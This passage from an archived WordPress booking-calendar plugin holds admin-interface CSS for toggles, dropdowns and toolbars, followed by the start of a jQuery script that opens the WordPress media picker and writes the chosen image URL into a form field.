box-shadow: 0 0 0 0px #4f94d4, 0 0 1px 1px rgba(79, 148, 212, 0.8); z-index: 1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* 3.2 Select-box ------------------------------------------------------------------------------------------------- */ .ui_element .wpbc_ui_select { border: 1px solid #d6d6d6; flex: 1 1 auto; } /* :focus ---- */ .ui_element .wpbc_ui_select.focus, .ui_element .wpbc_ui_select:focus { border-color: #2271b1; box-shadow: 0 0 0 1px #2271b1; border-color: #d8d8d8; /*box-shadow: 0 0 0 1px #4f94d4, 0 0 2px 1px rgba(79, 148, 212, 0.8); This is Default: WordPress */ box-shadow: 0 0 0 0px #4f94d4, 0 0 1px 1px rgba(79, 148, 212, 0.8); z-index: 1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* 3.3 Check-box & Radio ----------------------------------------------------------------------------------------- */ .ui_element .wpbc_ui_checkbox, .ui_element .wpbc_ui_radio { border: 1px solid #bcbcbc; border-radius: 4px; background: #fff; color: #50575e; clear: none; cursor: pointer; display: inline-block; line-height: 0 !important; height: 1rem !important; margin: -0.25rem 0.25rem 0 0; outline: 0; padding: 0 !important; text-align: center; vertical-align: middle; width: 1rem; min-width: 1rem; -webkit-appearance: none; box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); transition: .05s border-color ease-in-out; margin: 0; align-self: center; } .ui_element .wpbc_ui_radio { border-radius: 50%; margin-right: 0.25rem; line-height: 0.71428571; } /* :focus ---- */ .ui_element .wpbc_ui_checkbox.focus, .ui_element .wpbc_ui_checkbox:focus, .ui_element .wpbc_ui_radio.focus, .ui_element .wpbc_ui_radio:focus { border-color: #2271b1; box-shadow: 0 0 0 1px #2271b1; border-color: #d8d8d8; /*box-shadow: 0 0 0 1px #4f94d4, 0 0 2px 1px rgba(79, 148, 212, 0.8); This is Default: WordPress */ box-shadow: 0 0 0 0px #4f94d4, 0 0 1px 1px rgba(79, 148, 212, 0.8); z-index: 1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent !important; } .ui_element .wpbc_ui_radio + .wpbc_ui_control_label, .ui_element .wpbc_ui_checkbox + .wpbc_ui_control_label { padding-left: 5px; padding-right: 5px; } /* If radio button inside of the "button" element (border bounded), then need to center vertical position */ .ui_element .wpbc_ui_control.wpbc_ui_button .wpbc_ui_radio + .wpbc_ui_control_label, .ui_element .wpbc_ui_control.wpbc_ui_button .wpbc_ui_checkbox + .wpbc_ui_control_label { margin:0; } @media screen and (max-width: 782px) { .ui_element .wpbc_ui_checkbox, .ui_element .wpbc_ui_radio { height: 1.5625rem !important; width: 1.5625rem; } } /* 3.3.5 Toggle elements, instead of checkboxes ------------------------------------------------------------------ */ .wpbc_ui__toggle { align-items:flex-start; display:flex; gap:10px; } .wpbc_ui__toggle input[type=checkbox] { display:none; height:0; width:0; } .wpbc_ui__toggle input[type=checkbox]:checked+label.wpbc_ui__toggle_icon { background-color:#036aab; } .wpbc_ui__toggle input[type=checkbox]:checked+label.wpbc_ui__toggle_icon:after { left:calc( 100% - 13px - 2px); } .wpbc_ui__toggle span, .wpbc_ui__toggle label { align-items:flex-start; display:flex; gap:10px; margin:0; vertical-align:unset; } .wpbc_ui__toggle .wpbc_ui__toggle_label:hover { cursor:pointer; } .wpbc_ui__toggle .wpbc_ui__toggle_status { color:#86919e; font-size:12px; line-height:14px; margin:2px 5px; } .wpbc_ui__toggle .wpbc_ui__toggle_icon { background-color:#bbbbbb; border-radius:8.5px; cursor:pointer; display:inline-block; height:17px; margin:0 1px; position:relative; text-indent:-9999px; width:27px; flex:0 0 auto; } .wpbc_ui__toggle .wpbc_ui__toggle_icon:after { background:#ffffff; border-radius:50%; content:""; height:13px; left:2px; position:absolute; top:2px; width:13px; transition-property:all; transition-duration:0.25s; transition-timing-function:ease-out; } .wpbc_ui__toggle .wpbc-help-tooltip { margin:0 !important; } .wpbc_ui__toggle:hover input:checked+label.wpbc_ui__toggle_icon { background-color:#215d8f; } .wpbc_ui__toggle:hover .wpbc_ui__toggle_icon { background-color:#777777; } /* Fix compatibility for toggle */ .wpbc_ui__toggle:hover input:disabled+label.wpbc_ui__toggle_icon, .wpbc_ui__toggle input[type=checkbox]:disabled+label.wpbc_ui__toggle_icon { background-color:#ddd; cursor:not-allowed; } .wpbc_ui__toggle input[type=checkbox]:checked:disabled+label.wpbc_ui__toggle_icon{ background-color:#c9dbe6 } .ui_element .wpbc_ui__toggle { align-items: center; } .wpbc_ajx_toolbar .ui_container.ui_container_small .ui_group .ui_element .wpbc_ui__toggle > *{ margin:0; } /* Fix compatibility for toggle - Settings Tables */ .form-table td fieldset .wpbc_ui__toggle{ margin: 5px 0; display: inline-flex; } .form-table td fieldset .wpbc_ui__toggle input[type=checkbox]+label.wpbc_ui__toggle_icon { margin:3px 0 0.5em !important } .form-table td fieldset .wpbc_ui__toggle label *, .form-table td fieldset .wpbc_ui__toggle label { line-height:1.6; /*display:flex;*/ /*justify-content:center;*/ /*align-items:center;*/ margin:0 1px !important; } .wpbc_ui__toggle input[type=checkbox].wpbc_visible_but_out_screen { display:block; visibility: hidden; position: absolute; } /* Red toggle */ .wpbc_toggle_danger.wpbc_ui__toggle input[type=checkbox]:checked+label.wpbc_ui__toggle_icon { background-color:#d63638; } .wpbc_toggle_danger.wpbc_ui__toggle:hover input:checked+label.wpbc_ui__toggle_icon { background-color:#d63638; } /* 3.4. Addon ------------------------------------------------------------------------------------------------------ */ .ui_element .wpbc_ui_addon { flex: 0 1 auto; display: flex; flex-flow: row wrap; justify-content: stretch; align-items: center; } /* 3.5 Labels ------------------------------------------------------------------------------------------------------ */ .ui_element label.wpbc_ui_control_label { flex: 0 1 auto; display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: center; padding: 0 5px 2px 0; padding-bottom: 1px; } .ui_element label.wpbc_ui_control_label + .wpbc_ui_control:first-of-type { border-top-left-radius: 3px !important; border-bottom-left-radius: 3px !important; } /* 3.6. Separator ------------------------------------------------------------------------------------------------------ */ .ui_element .wpbc_ui_separtor { flex: 0 1 auto; display: flex; flex-flow: row wrap; justify-content: stretch; align-items: center; border-right: 1px solid #ccc; } /* 3.7. Horizontal Text Bar ------------------------------------------------------------------------------------------------------ */ .ui_element .wpbc_option_separator, .ui_element .wpbc_option_step { padding-right: 10px; padding-left: 10px; font-weight: 600; border-bottom: 4px solid transparent; padding-bottom: 9px; margin-bottom: -9px; } .ui_element .wpbc_passed_step { border-bottom: 4px solid #d0d3c0; /*border-bottom: 4px solid #c8c0b7;*/ } .ui_element .wpbc_selected_step { border-bottom: 4px solid #aac71e; /*border-bottom: 4px solid #c7751e;*/ } /**********************************************************************************************************************/ /* 4. Dropdown List */ /**********************************************************************************************************************/ .ui_element .wpbc_ui_dropdown__outside_label{ flex: 0 1 auto; display: flex; flex-flow: row nowrap; justify-content: flex-start; align-items: center; padding: 0 10px 2px 0; padding-bottom: 1px; } .ui_element .wpbc_ui_dropdown { flex: 0 1 auto; display: flex; flex-flow: row nowrap; justify-content: flex-start; align-items: stretch; position: relative; } .ui_element .wpbc_ui_dropdown * { box-sizing: border-box; } .ui_element .wpbc_ui_dropdown .wpbc_ui_dropdown__inside_label{ font-weight: 600; margin:0; padding:0 0.5em 0 0; } .ui_element .wpbc_ui_dropdown .wpbc_ui_dropdown__inside_caret { display: inline-block; width: 0; height: 0; margin-left: 7px; vertical-align: middle; border-top: 4px dashed; border-top: 4px solid \9; border-right: 4px solid transparent; border-left: 4px solid transparent; } /* ---------------------------------------------------------------------------------------------------------- */ /* BORDER RADIUS */ /* ---------------------------------------------------------------------------------------------------------- */ .ui_element .wpbc_ui_dropdown:last-child > .wpbc_ui_button:last-of-type { border-top-right-radius: 3px; border-bottom-right-radius: 3px; } /* In case, if have several elements in .ui_element (like "button dropdown button"), - make borders not round */ /* Left border not round */ .ui_element .wpbc_ui_dropdown:not(:first-child) > .wpbc_ui_button:first-child{ border-top-left-radius: 0; border-bottom-left-radius: 0; } /* Right border not round */ .ui_element .wpbc_ui_dropdown:not(:last-child) > .wpbc_ui_button:last-child{ border-top-right-radius: 0; border-bottom-right-radius: 0; } /* If we have outside label, then we need to make left border round */ .ui_element .wpbc_ui_dropdown__outside_label + .wpbc_ui_dropdown > .wpbc_ui_button:first-child{ border-top-left-radius: 3px; border-bottom-left-radius: 3px; } /* ---------------------------------------------------------------------------------------------------------- */ /* OPTIONS (Drop Down Menu) in Dropdown List */ /* ---------------------------------------------------------------------------------------------------------- */ /* Complex OPTION - this option include some INPUT elements --------------- */ .wpbc_ui_dropdown .ui_dropdown_menu li.ui_complex_option_element{ display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: center; margin:0; padding: 0 15px; } .wpbc_ui_dropdown ul.ui_dropdown_menu li.ui_complex_option_element .ui_element { flex: 0 1 50%; display: flex; flex-flow: row nowrap; justify-content: flex-start; align-items: center; margin:0; padding: 4px 0; } .wpbc_ui_dropdown ul.ui_dropdown_menu li.ui_complex_option_element .ui_element > * { flex: 0 1 auto; margin:0; height:auto; max-width: 210px; } /* ---------------------------- General backdrop --------------------------- */ .ui_element .wpbc_ui_dropdown .ui_dropdown_menu { display: none; position: absolute; top: 100%; left: 0; z-index: 1000; float: left; min-width: 160px; padding: 5px 0; margin: 0; list-style: none; text-align: left; background-color: #ffffff; box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); border: 1px solid #cccccc; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 0 0 3px 3px; background-clip: padding-box; } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu-left { } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu-right { left: auto; right:0; } .ui_element .wpbc_ui_dropdown ul.ui_dropdown_menu *{ font-size: 13px; } @media screen and (max-width: 782px) { .ui_element .wpbc_ui_dropdown ul.ui_dropdown_menu *{ font-size: 14px; line-height: 2em; } } /* ---------------------------- Open --------------------------------------- */ .ui_element .wpbc_ui_dropdown.open > .ui_dropdown_menu { display: block; } /* ---------------------------- Align: left | right ------------------------ */ .ui_element .wpbc_ui_dropdown .ui_dropdown_menu.pull-right, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu.ui_dropdown_menu_right { left: auto; right: 0; } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu.ui_dropdown_menu_left { left: 0; right: auto; } /* ---------------------------- Divider ------------------------------------ */ .ui_element .wpbc_ui_dropdown .ui_dropdown_menu hr{ height: 1px; margin: 5px 0; overflow: hidden; background: none; border: 0; border-top: 1px solid #eeeeee; } /* ---------------------------- Header ------------------------------------- */ .wpbc_ui_dropdown .ui_dropdown_menu li.dropdown-header { padding:0 15px; color: #999; font-size: 0.8em; font-style: italic; font-weight: 600; } /* ---------------------------- LI ----------------------------------------- */ .wpbc_ui_dropdown .ui_dropdown_menu li { padding:0; margin:0; } /* ---------------------------- A ------------------------------------------ */ .ui_element .wpbc_ui_dropdown .ui_dropdown_menu a { clear: both; display: block; font-weight: 400; padding: 5px 15px; white-space: nowrap; /*font-size: 13px;*/ line-height: 18px; } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > li > a { color: #333333; text-decoration: none; font-weight: 400; padding:5px 15px; white-space: nowrap; display: block; clear: both; font-size: 1em; line-height: 1.42857143; } /* ---------------------------- A :hover :focus .active -------------------- */ .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > li > a:hover, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > li > a:focus, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .active > a, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .active > a:hover, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .active > a:focus { color: #fff; background: #08c; text-decoration: none; outline: none; box-shadow: none; } /* ---------------------------- .disabled A ------------------------------ */ .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:hover, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:focus { color: #ccc; } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:hover, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:focus { text-decoration: none; background-color: transparent; background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); cursor: not-allowed; } .ui_element .wpbc_ui_dropdown .dropdown-backdrop { position: fixed; left: 0; right: 0; bottom: 0; top: 0; z-index: 990; } /**********************************************************************************************************************/ /* 5. Several elements in a ".ui_element" group -------------------------------------------------------------------- */ .ui_element .wpbc_ui_control { border-radius: 0; border-width:1px; /*border-right-width:0;*/ border-right-width:1px; margin-right:-1px!important; } .ui_element .wpbc_ui_control:first-child{ border-radius: 3px 0 0 3px; } .ui_element .wpbc_ui_control:last-child { border-radius: 0 3px 3px 0; border-width:1px; } .ui_element .wpbc_ui_control:first-child:last-child { border-radius: 3px; } /**********************************************************************************************************************/ /** Toolbar */ /**********************************************************************************************************************/ .ui_nowrap { flex-wrap:nowrap !important; } /* Toolbar --------------------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar { position:relative; margin: 0 0 10px 50px; } .wpbc_ajx_toolbar * { box-sizing: border-box; } /* Row of simple buttons somewhere in a page */ .wpbc_ajx_toolbar.wpbc_buttons_row { position: initial; margin:0; float:left; } .wpbc_ajx_toolbar.wpbc_buttons_row .ui_container { background: none; border: none; margin: 0; padding: 0; } .wpbc_ajx_toolbar.wpbc_no_background .ui_container{ background: none; border: none; margin: 0; padding: 0; } .wpbc_ajx_toolbar.wpbc_background_transparent .ui_container{ background: none; border: none; } /* Container ------------------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar .ui_container{ display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: stretch; margin: 0; box-shadow: none; border: 1px solid #ccc; border-top: none; background: #f5f5f5; font-size:14px; padding: 6px 15px; } .wpbc_ajx_toolbar .ui_container:last-child{ border-radius: 0 0 2px 2px; } /* Toolbar wthout backgound and borders, for ability to insert elements somewhere in a page ---------------------------- * //FixIn: 9.6.1.5 ?><div class="wpbc_ajx_toolbar wpbc_no_borders"><?php ?><div class="ui_container ui_container_small"><?php ?><div class="ui_group"><?php ?><div class="ui_element"><?php wpbc_ajx__ui__options_checkbox__send_emails( $escaped_search_request_params, wpbc_ajx_get__request_params__names_default( 'default' ) ); ?></div><?php ?></div><?php ?></div><?php ?></div><?php */ .wpbc_ajx_toolbar.wpbc_no_borders .ui_container{ border: none; background:transparent; padding:0; } div.wpbc_ajx_toolbar.wpbc_no_borders { margin:0; } .wpbc_ajx_under_toolbar_row { display:flex; flex-flow: row wrap; justify-content: flex-start; align-items: center; } .wpbc_ajx_under_toolbar_row .wpbc_ajx_booking_pagination { margin-left:auto; } /* Groups in container --------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar .ui_container .ui_group{ flex: 0 1 auto; padding: 0; display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: stretch; border:none; margin: 0 20px 0 0; } .wpbc_ajx_toolbar .ui_container .ui_group:last-child { margin: 0; } .wpbc_not_toolbar_is_send_emails { border-left: 1px solid #dbdbdb; padding-left: 10px; } /* Elements -------------------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar .ui_container .ui_group .ui_element { display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: stretch; flex: 0 1 auto; position: relative; margin: 0px 15px 0px 0; } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element:last-child { margin-right: 0; } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element > * { margin: 5px 0; } .ui_elements_divider { margin-left: 15px; } /**********************************************************************************************************************/ /** Customization */ /**********************************************************************************************************************/ .wpbc_ajx_toolbar .ui_container.ui_container_small *, .wpbc_ajx_toolbar .ui_container.ui_container_mini *, .wpbc_ajx_toolbar .ui_container.ui_container_micro *{ font-size:13px; } .wpbc_ajx_toolbar .ui_container.ui_container_mini { padding: 3px 15px; } @media (max-width: 782px) { .wpbc_ajx_toolbar .ui_container.ui_container_small *, .wpbc_ajx_toolbar .ui_container.ui_container_mini *, .wpbc_ajx_toolbar .ui_container.ui_container_micro *{ font-size:14px; } } /* Elements Height ------------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar .ui_container .ui_group .ui_element > * { height: 38px; } .wpbc_ajx_toolbar .ui_container.ui_container_small .ui_group .ui_element > *, .wpbc_ajx_toolbar .ui_container.ui_container_mini .ui_group .ui_element > * { height: 30px; } .wpbc_ajx_toolbar .ui_container.ui_container_micro .ui_group .ui_element > *, .wpbc_ajx_toolbar .ui_container .ui_group .ui_element.ui_element_micro > *{ height: 22px; line-height:1; } /* Micro Elements ------------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar .ui_container .ui_group .ui_element.ui_element_micro { margin-right: 5px; align-items: center; } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element.ui_element_micro:last-child{ margin-right: 0; } @media (max-width: 782px) { .wpbc_ajx_toolbar.wpbc_buttons_row .ui_container .ui_group .ui_element > *, #toolbar_booking_listing.wpbc_ajx_toolbar .ui_container .ui_group .ui_element > * { height: 38px; } .wpbc_ajx_toolbar.wpbc_buttons_row .ui_container .ui_group .ui_element > .wpbc_ui_button, #toolbar_booking_listing.wpbc_ajx_toolbar .ui_container .ui_group .ui_element > .wpbc_ui_button { padding: 0 15px 2px; padding-bottom: 1px; display: flex; flex-flow: row wrap; justify-content: center; align-items: center; } } /* Keyword -------------------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__dates_status { margin-right:2.5em; } .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__keyword { flex: 1 1 auto; } .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__keyword .ui_element{ flex: 1 1 auto; } .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__keyword .ui_element .wpbc_search_field { width: 100%; } /* 2nd row -------------------------------------------------------------------------------------------------------- */ .wpbc_ajx_toolbar .ui_container.ui_container_filter_row_2 { padding: 4px 15px; } .wpbc_ajx_toolbar .ui_container.ui_container_filter_row_2 .ui_group.ui_group__statuses { flex: 1 1 auto; } /**********************************************************************************************************************/ /** Booking resources - Chosen /**********************************************************************************************************************/ /** * Choozen Structure <select multiple="MULTIPLE"... div#wh_booking_type_chosen .chzn-container.chzn-container-multi .chzn-with-drop.chzn-container-active (if active) ul.chzn-choices li.search-choice <span> a.search-choice-close li.search-field input[type="text"].chzn-search-input .default (if no selected values) div.chzn-drop ul.chzn-results li.result-selected || li.active-result .highlighted (if active) */ .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi { flex: 1 1 auto; display: flex; flex-flow: column wrap; justify-content: center; align-items: center; height: initial; width: auto !important; min-width: 10em; margin-right: -1px; } @media (max-width: 782px) { .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi { height: initial !important; } } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices { flex: 1 1 auto; display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: center; align-content: center; margin: 0; padding: 0 0 0 5px; height: auto; min-height: 28px !important; border-radius: 3px 0 0 3px; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi.chzn-container-active ul.chzn-choices { border-color: #d8d8d8 !important; box-shadow: 0 0 0 0px #4f94d4, 0 0 1px 1px rgba(79, 148, 212, 0.8) !important; z-index: 1; outline: 2px solid transparent; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice{ flex: 0 1 auto; display: flex; flex-flow: row nowrap; justify-content: flex-start; align-items: baseline; margin: 3px 7px 3px 0; padding: 4px 7px 4px 8px; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice span { word-wrap: break-word; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice a.search-choice-close0{ font-family: "Glyphicons Halflings"; font-style: normal; font-weight: 400; font-size: 9px; color: #555; text-decoration: none; position: relative; top: auto; left: auto; right: auto; bottom: auto; margin: 0 0 0 1em; display: flex; flex-flow: column wrap; justify-content: center; align-content: center; width: auto; height: auto; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice a.search-choice-close0:before { content: "\e014"; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice a.search-choice-close0:hover { text-decoration: none; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-field{ flex: 0 1 1px; display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: center; margin: 0px 0 0px 0; padding: 0; white-space: nowrap; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-field input[type="text"].default { min-width: 12em; } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-field input[type="text"] { font-family: inherit; } .ui_container .ui_group .ui_element .chzn-container div.chzn-drop ul.chzn-results li.highlighted { color: #fff; background: #08c; text-decoration: none; outline: none; box-shadow: none; } /* #wh_booking_type_chosen { width: auto !important; display: flex; flex-flow: row wrap; justify-content: center; align-items: stretch; flex: 1 1 auto; height: initial; min-width: 10em; } #wh_booking_type_chosen .chzn-choices { display: flex; flex-flow: row wrap; justify-content: stretch; align-items: center; margin: 0px 0px; padding: 0 5px; min-height: auto !important; flex: 1 1 auto; border-radius: 3px 0 0 3px; } .chzn-container-multi .chzn-choices .search-choice a.search-choice-close { background: none; display: inline-block; font-family: "Glyphicons Halflings"; font-style: normal; font-weight: 400; font-size: 9px; line-height: 1; position: relative; top: 0px; left: 15px; color: #555; text-decoration: none; } .chzn-container-multi .chzn-choices .search-choice a.search-choice-close:hover { text-decoration: none; } .chzn-container-multi .chzn-choices .search-choice a.search-choice-close:before { content: "\e014"; } #wh_booking_type_chosen .chzn-search-input.default { min-width: 12em; } #wh_booking_type_chosen.chzn-container.chzn-container-multi.chzn-container-active .chzn-choices { border-color: #d8d8d8 !important; box-shadow: 0 0 0 0px #4f94d4, 0 0 1px 1px rgba(79, 148, 212, 0.8) !important; z-index: 1; outline: 2px solid transparent; } .chzn-container-multi .chzn-choices li.search-field input[type="text"] { font-family: inherit; } .chzn-container .chzn-results li.highlighted { color: #fff; background: #08c; text-decoration: none; outline: none; box-shadow: none; } /**/ /**********************************************************************************************************************/ /* Blur ----------------------------------------------------------------------------------------------------------- */ .wpbc_blur { filter: blur(0.75px); pointer-events: none; user-select: none } .wpbc_upgrade_note { position: absolute; top: 50%; background-color: #fff; padding: 10px; border: 1px solid #D1D1D1; box-shadow: 0 3px 10px #5e5e5e33; color: #141b38; font-size: 15px; font-weight: 600; width: 100%; text-align: center; line-height: 2em; } .wpbc_upgrade_note a { text-decoration: none; border-bottom: 1px dashed; } .wpbc_upgrade_note a:hover { text-decoration: none; border-bottom: 1px solid; } /*[dir=ltr]*/ .wpbc_upgrade_note { left: 50%; transform: translate(-50%) translateY(-50%) } /* [dir=rtl] .wpbc_upgrade_note { right: 50%; transform: translate(50%) translateY(-50%) }*/ .wpbc_upgrade_note.wpbc_upgrade_theme_green { width: 70%; height: 4em; display: flex; flex-flow: column wrap; justify-content: center; align-content: center; align-items: center; border: 3px solid #5e9b05bd; border-radius: 10px; font-size: 16px; } /* Big Green Upgrade Widget Container : 2024-03-14 */ .wpbc_upgrade_widget{ transform: translate(0) translateY(0); position: relative; z-index: 999; } .wpbc_upgrade_widget .wpbc_upgrade_widget_container { background: #fff; position: relative; } .wpbc_upgrade_widget .wpbc_upgrade_widget_container .wpbc_upgrade_note { width: 70%; height: auto; display: flex; flex-flow: row nowrap; justify-content: center; align-content: flex-start; align-items: center; } .wpbc_upgrade_widget .wpbc_upgrade_widget_container .wpbc_upgrade_note div:first-child{ margin: auto; } .wpbc_upgrade_widget .wpbc_upgrade_widget_container .wpbc_upgrade_note .wpbc_panel_get_started_dismiss { align-self: flex-start; margin-left: auto; padding: 4px 10px; text-decoration: none; font-weight: 600; background: #fff; border-radius: 7px; border: none; } wpbc_ui__media_upload.js 0000666 00000022535 15165570721 0011420 0 ustar 00 /** * == How to Use ? == * * 1. Load JS: * * function wpbc_register_js__media_upload( $hook ) { * if ( wpbc_can_i_load_on_this_page__media_upload() ) { * wpbc_load_js__required_for_media_upload(); * } * } * add_action( 'admin_enqueue_scripts', 'wpbc_register_js__media_upload' ); * * * 2. Inside the page use html element with this class: "wpbc_media_upload_button" * * <a href="javascript:void(0)" * class="wpbc_media_upload_button" * data-modal_title="<?php echo esc_attr( __( 'Select Image', 'booking' ) ); ?>" * data-btn_title="<?php echo esc_attr( __( 'Select Image', 'booking' ) ); ?>" * data-url_field="MY_URL_FIELD" * ><i class="menu_icon icon-1x wpbc_icn_tune"></i></a> * * 3. 'data-url_field' attribute define TEXT field, where will be inserted URL of selected image * 'data-modal_title' - Header title in popup * 'data-btn_title' - Button title in popup * * 4. If you need to update URL somewhere else at the page, use this j JavaScript hook: * * <script type="text/javascript"> * jQuery(document).ready(function(){ * jQuery( '#MY_URL_FIELD').on( 'wpbc_media_upload_url_set', function(){ * jQuery( '#MY_URL_FIELD').parents( '.wpbc_extra__excerpt_img' ).find( '.ui_group__thumbnail .wpbc_media_upload_button' ).html( '<img src="' + jQuery( '#MY_URL_FIELD').val() + '" class="search_thumbnail_img" />' ); * }); * }); * </script> * */ var wpbc_media_file_frame; jQuery( document ).ready( function (){ //'use strict'; jQuery( '.wpbc_media_upload_button' ).on( 'click', function( event ) { var j_btn = jQuery( this ); var is_multi_selection = false; // var insert_field_separator = ','; // Stop the anchor's default behavior event.preventDefault(); // If frame exist close it if ( wpbc_media_file_frame ) { wpbc_media_file_frame.close(); } // ----------------------------------------------------------------------------------------------------- // Create Media Frame // ----------------------------------------------------------------------------------------------------- wpbc_media_file_frame = wp.media.frames.wpbc_media_upload_file_frame = wp.media( { // Check here ../wp-includes/js/media-views.js // Set the title of the modal. title: j_btn.data( 'modal_title' ), library: { // type: '' // type: [ 'video', 'image' ] type: [ 'image' ] }, button: { text: j_btn.data( 'btn_title' ), }, multiple: is_multi_selection, // states: [ // new wp.media.controller.Library( { // /* // Add to this libaray custom post parameter: $_POST['query'][ $media_uploader_params['key'] ] = $media_uploader_params['value'] // We are checking in functon wpbc_media_filter_posts_where media files that only relative to this medi Frame opening // And filtering posts (in WHERE) relative custom path to our files. // echo '{' . $media_uploader_params['key'] . ": '" . $media_uploader_params['value'] . "' }"; // */ // library: wp.media.query(), // multiple: is_multi_selection, // title: j_btn.data( 'modal_title' ), // priority: 15, // filterable: 'uploaded', // type: ['image'] // // idealColumnWidth: 125 // } ) // ] } ); /* /////////////////////////////////////////////////////////////////////// // Set custom parameters for uploader -> $_POST['wpbc_media_type'] - checking in "upload_dir", when filter_upload_dir /////////////////////////////////////////////////////////////////////// wpbc_media_file_frame.on( 'ready', function () { wpbc_media_file_frame.uploader.options.uploader.params = { type: 'wpbc_media_download', <?php echo $media_uploader_params['key'] . ": '" . $media_uploader_params['value'] . "'"; ?> }; } ); */ /////////////////////////////////////////////////////////////////////// // When File have selected, do this /////////////////////////////////////////////////////////////////////// wpbc_media_file_frame.on( 'select', function () { if ( ! is_multi_selection ) { // Single file var attachment = wpbc_media_file_frame.state().get( 'selection' ).first().toJSON(); // Put URL of file to text field jQuery( '#' + j_btn.data( 'url_field' ) ).val( attachment.url ); jQuery( '#' + j_btn.data( 'url_field' ) ).trigger( "wpbc_media_upload_url_set" ); //j_btn.parents( '.wpbc_extra__excerpt_img' ).find( '.ui_group__thumbnail .wpbc_media_upload_button' ).html( '<img src="' + attachment.url + '" class="search_thumbnail_img" />' ); } else { // Multiple files. var file_paths = ''; // var csv_data_line = ''; wpbc_media_file_frame.state().get( 'selection' ).map( function ( attachment ){ /* // Request new data attachment.fetch().then(function (data) { console.log(data); // preloading finished after this you can use your attachment normally // wp.media.attachment( attachment.id ).get('url'); }); */ attachment = attachment.toJSON(); /* if ( attachment.url ) { // Insert info from selected files csv_data_line = attachment.id + insert_field_separator + attachment.title + insert_field_separator + attachment.wpbc_media_version_num + insert_field_separator + attachment.description + insert_field_separator + attachment.url file_paths = file_paths ? file_paths + "\n" + csv_data_line : csv_data_line; } */ file_paths = file_paths ? file_paths + "\n" + attachment.url : attachment.url; }); jQuery( '#' + j_btn.data( 'url_field' ) ).val( file_paths ); jQuery( '#' + j_btn.data( 'url_field' ) ).trigger( "wpbc_media_upload_url_set" ); } } ); /* // Fires when a state activates. wpbc_media_file_frame.on( 'activate', function() { alert('activate'); } ); // Fires after the frame markup has been built, but not appended to the DOM. // @see wp.media.view.Modal.attach() wpbc_media_file_frame.on( 'ready', function() { alert('ready'); } ); // Fires when the frame's $el is appended to its DOM container. // @see media.view.Modal.attach() wpbc_media_file_frame.on( 'attach', function() { alert('attach'); } ); // Fires when the modal opens (becomes visible). // @see media.view.Modal.open() wpbc_media_file_frame.on( 'open', function() { alert('open'); } ); // Fires when the modal closes via the escape key. // @see media.view.Modal.close() wpbc_media_file_frame.on( 'escape', function() { alert('escape'); } ); // Fires when the modal closes. // @see media.view.Modal.close() wpbc_media_file_frame.on( 'close', function() { alert('close'); } ); // Fires when a user has selected attachment(s) and clicked the select button. // @see media.view.MediaFrame.Post.mainInsertToolbar() wpbc_media_file_frame.on( 'select', function() { var selectionCollection = wpbc_media_file_frame.state().get('select'); } ); // Fires when a mode is deactivated on a region { 'menu' | title | content | toolbar | router } wpbc_media_file_frame.on( 'content:deactivate', function() { alert('{region}:deactivate'); } ); // and a more specific event including the mode. wpbc_media_file_frame.on( 'content:deactivate:{mode}', function() { alert('{region}:deactivate{mode}'); } ); // Fires when a region is ready for its view to be created. wpbc_media_file_frame.on( 'content:create', function() { alert('{region}:create'); } ); // and a more specific event including the mode. 